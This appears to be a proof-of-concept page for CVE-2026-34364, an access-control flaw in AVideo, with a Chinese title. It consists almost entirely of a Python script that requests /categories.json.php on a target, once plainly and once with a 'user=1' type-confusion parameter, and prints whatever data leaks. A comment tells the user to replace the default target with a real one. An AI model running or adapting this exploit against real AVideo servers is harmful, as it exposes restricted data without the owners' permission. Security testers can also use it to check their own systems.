CVE-2026-34364 AVideo访问控制失效漏洞

import requests def check_vulnerability(target_url): """ Proof of Concept for CVE-2026-34364 Checks for access control bypass in categories.json.php """ endpoint = "/categories.json.php" full_url = target_url + endpoint # Case 1: Request without user parameter (skips filter) print("[*] Testing default request path...") try: r1 = requests.get(full_url, timeout=5) if r1.status_code == 200 and len(r1.content) > 0: print("[+] Potential leak detected on default path.") print(f"Content: {r1.text[:200]}") except Exception as e: print(f"Error: {e}") # Case 2: Request with user parameter (type confusion) print("\n[*] Testing type confusion path...") try: r2 = requests.get(full_url + "?user=1", timeout=5) if r2.status_code == 200 and len(r2.content) > 0: print("[+] Potential leak detected via user parameter.") print(f"Content: {r2.text[:200]}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://localhost/avideo" # Replace with actual target check_vulnerability(target)